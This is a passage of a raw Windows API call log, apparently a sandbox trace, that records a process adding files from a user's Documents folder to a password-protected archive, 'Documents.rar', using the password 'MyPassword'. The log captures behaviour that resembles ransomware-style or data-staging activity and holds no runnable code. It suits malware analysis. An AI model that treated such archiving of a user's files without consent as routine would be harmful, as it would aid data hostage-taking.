hHeap=0x2e0000) returned 1 [0067.854] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a4d0, Size=0x48) returned 0x39daf0 [0067.854] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0067.854] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x60, lpOverlapped=0x0) returned 1 [0067.854] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a4d0 [0067.855] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x60) returned 0x3a0d80 [0067.855] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0067.855] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0067.855] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x23131 [0067.855] CloseHandle (hObject=0x1b0) returned 1 [0067.855] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.855] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.855] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0067.855] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.855] FindFirstFileW (in: lpFileName="0WMsLhv.docx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0067.855] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0067.855] CreateFileW (lpFileName="0WMsLhv.docx" (normalized: "c:\\users\\whuoxysd\\documents\\0wmslhv.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0067.855] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.855] GetTickCount () returned 0xa67419 [0067.855] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0067.855] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0067.855] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.855] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0067.855] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="0eTc aT.pptx") returned 12 [0067.855] SetWindowTextW (hWnd=0x10280, lpString="0WMsLhv.docx") returned 1 [0067.855] GetTickCount () returned 0xa67419 [0067.855] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0067.855] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0067.856] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0067.856] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0067.856] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x1da)) [0067.856] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0067.856] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14319638275) returned 1 [0067.856] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0xddcc, lpOverlapped=0x0) returned 1 [0067.857] ReadFile (in: hFile=0x1b0, lpBuffer=0x36ade0c, nNumberOfBytesToRead=0xf2234, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36ade0c*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0067.857] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.857] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a500 [0067.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a530 [0067.857] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a530, Size=0x48) returned 0x39db40 [0067.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0067.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a530 [0067.857] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a530, Size=0x48) returned 0x39daf0 [0067.857] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0067.857] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0067.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a530 [0067.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a560 [0067.857] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a560 | out: hHeap=0x2e0000) returned 1 [0067.857] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a530 | out: hHeap=0x2e0000) returned 1 [0067.857] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a500, Size=0x48) returned 0x39db40 [0067.857] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0067.857] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0067.857] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0067.860] GetTickCount () returned 0xa67429 [0067.860] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14320079653) returned 1 [0067.860] GetTickCount () returned 0xa67429 [0067.860] GetTickCount () returned 0xa67429 [0067.860] GetTickCount () returned 0xa67429 [0067.860] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.860] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.861] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.861] ResetEvent (hEvent=0x1a4) returned 1 [0067.861] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.864] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.864] ResetEvent (hEvent=0x1a4) returned 1 [0067.864] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.865] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.865] GetTickCount () returned 0xa67429 [0067.865] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14320563578) returned 1 [0067.865] GetTickCount () returned 0xa67429 [0067.865] GetTickCount () returned 0xa67429 [0067.865] GetTickCount () returned 0xa67429 [0067.865] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0067.865] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0067.865] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.865] ResetEvent (hEvent=0x190) returned 1 [0067.865] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.866] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0067.866] ResetEvent (hEvent=0x190) returned 1 [0067.866] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.867] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0067.867] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0067.867] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.867] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x23131 [0067.867] SetFilePointer (in: hFile=0x198, lDistanceToMove=96, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x23191 [0067.868] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0067.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.868] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0067.868] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0067.868] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0067.868] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0xde60, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0xde60, lpOverlapped=0x0) returned 1 [0067.869] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0067.869] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.869] SetFilePointer (in: hFile=0x198, lDistanceToMove=143665, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x23131 [0067.869] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x23131 [0067.869] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a500 [0067.869] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a530 [0067.869] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a530, Size=0x48) returned 0x39daf0 [0067.869] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0067.869] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a530 [0067.869] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a530, Size=0x48) returned 0x39db40 [0067.869] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0067.869] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0067.869] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a530 [0067.869] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a560 [0067.869] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a560 | out: hHeap=0x2e0000) returned 1 [0067.869] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a530 | out: hHeap=0x2e0000) returned 1 [0067.869] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a500, Size=0x48) returned 0x39daf0 [0067.869] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0067.869] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x60, lpOverlapped=0x0) returned 1 [0067.869] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a500 [0067.869] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x60) returned 0x3a0df0 [0067.869] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0067.869] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0067.869] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x30ff1 [0067.869] CloseHandle (hObject=0x1b0) returned 1 [0067.869] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.869] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.869] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0067.869] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.869] FindFirstFileW (in: lpFileName="0XuPmKuUcJqUgUNn.pptx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0067.869] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0067.869] CreateFileW (lpFileName="0XuPmKuUcJqUgUNn.pptx" (normalized: "c:\\users\\whuoxysd\\documents\\0xupmkuucjqugunn.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0067.870] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.870] GetTickCount () returned 0xa67429 [0067.870] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0067.870] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0067.870] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.870] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0067.870] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="0WMsLhv.docx") returned 12 [0067.870] SetWindowTextW (hWnd=0x10280, lpString="0XuPmKuUcJqUgUNn.pptx") returned 1 [0067.870] GetTickCount () returned 0xa67429 [0067.870] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0067.870] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0067.870] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0067.870] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0067.870] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x1ea)) [0067.871] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0067.871] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14321184827) returned 1 [0067.872] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0xec49, lpOverlapped=0x0) returned 1 [0067.872] ReadFile (in: hFile=0x1b0, lpBuffer=0x36aec89, nNumberOfBytesToRead=0xf13b7, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36aec89*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0067.872] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.872] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.872] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a530 [0067.872] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a560 [0067.872] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a560, Size=0x48) returned 0x39db40 [0067.872] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0067.872] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a560 [0067.872] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a560, Size=0x48) returned 0x39daf0 [0067.872] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0067.872] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0067.872] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a560 [0067.872] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a590 [0067.872] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a590 | out: hHeap=0x2e0000) returned 1 [0067.872] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a560 | out: hHeap=0x2e0000) returned 1 [0067.872] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a530, Size=0x48) returned 0x39db40 [0067.872] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0067.873] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0067.873] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0067.874] GetTickCount () returned 0xa67429 [0067.874] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14321421374) returned 1 [0067.874] GetTickCount () returned 0xa67429 [0067.874] GetTickCount () returned 0xa67429 [0067.874] GetTickCount () returned 0xa67429 [0067.874] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.874] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.874] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.875] ResetEvent (hEvent=0x1a4) returned 1 [0067.875] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.877] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.877] ResetEvent (hEvent=0x1a4) returned 1 [0067.877] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.879] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.879] GetTickCount () returned 0xa67438 [0067.879] GetLastError () returned 0x0 [0067.879] SetLastError (dwErrCode=0x0) [0067.879] GetDlgItem (hDlg=0x10278, nIDDlgItem=158) returned 0x10284 [0067.879] GetDlgItem (hDlg=0x10278, nIDDlgItem=153) returned 0x10282 [0067.879] GetWindowTextW (in: hWnd=0x10282, lpString=0x1cbe80, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0067.879] SetWindowTextW (hWnd=0x10282, lpString=" 100%") returned 1 [0067.879] SendMessageW (hWnd=0x10284, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x0 [0067.879] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14321972592) returned 1 [0067.879] GetTickCount () returned 0xa67438 [0067.879] GetTickCount () returned 0xa67438 [0067.879] GetTickCount () returned 0xa67438 [0067.879] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x1cd2b8 | out: ppv=0x1cd2b8*=0x3b5a530) returned 0x0 [0067.880] TaskbarList:ITaskbarList3:SetProgressState (This=0x3b5a530, hwnd=0x10278, tbpFlags=2) returned 0x0 [0067.880] TaskbarList:ITaskbarList3:SetProgressValue (This=0x3b5a530, hwnd=0x10278, ullCompleted=0x3f91c, ullTotal=0x4b42ce) returned 0x0 [0067.880] TaskbarList:IUnknown:Release (This=0x3b5a530) returned 0x0 [0067.880] GetLastError () returned 0x36b7 [0067.880] SetLastError (dwErrCode=0x36b7) [0067.880] GetDlgItem (hDlg=0x10278, nIDDlgItem=157) returned 0x1029a [0067.880] GetDlgItem (hDlg=0x10278, nIDDlgItem=152) returned 0x10298 [0067.880] GetWindowTextW (in: hWnd=0x10298, lpString=0x1cbe80, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0067.880] SetWindowTextW (hWnd=0x10298, lpString=" 5%") returned 1 [0067.880] GetLastError () returned 0x0 [0067.880] SetLastError (dwErrCode=0x0) [0067.880] GetDlgItem (hDlg=0x10278, nIDDlgItem=164) returned 0x10294 [0067.880] GetWindowTextW (in: hWnd=0x10294, lpString=0x1cbe80, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0067.880] SetWindowTextW (hWnd=0x10294, lpString=" 76%") returned 1 [0067.881] SendMessageW (hWnd=0x1029a, Msg=0x402, wParam=0x5, lParam=0x0) returned 0x0 [0067.881] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0067.881] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0067.881] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.881] ResetEvent (hEvent=0x190) returned 1 [0067.881] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.882] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0067.882] ResetEvent (hEvent=0x190) returned 1 [0067.882] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.883] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0067.883] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0067.883] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.883] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x30ff1 [0067.883] SetFilePointer (in: hFile=0x198, lDistanceToMove=105, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x3105a [0067.883] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0067.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.883] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0067.883] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0067.883] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0067.883] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0xecc0, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0xecc0, lpOverlapped=0x0) returned 1 [0067.884] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0067.884] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.884] SetFilePointer (in: hFile=0x198, lDistanceToMove=200689, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x30ff1 [0067.884] SetFilePointer 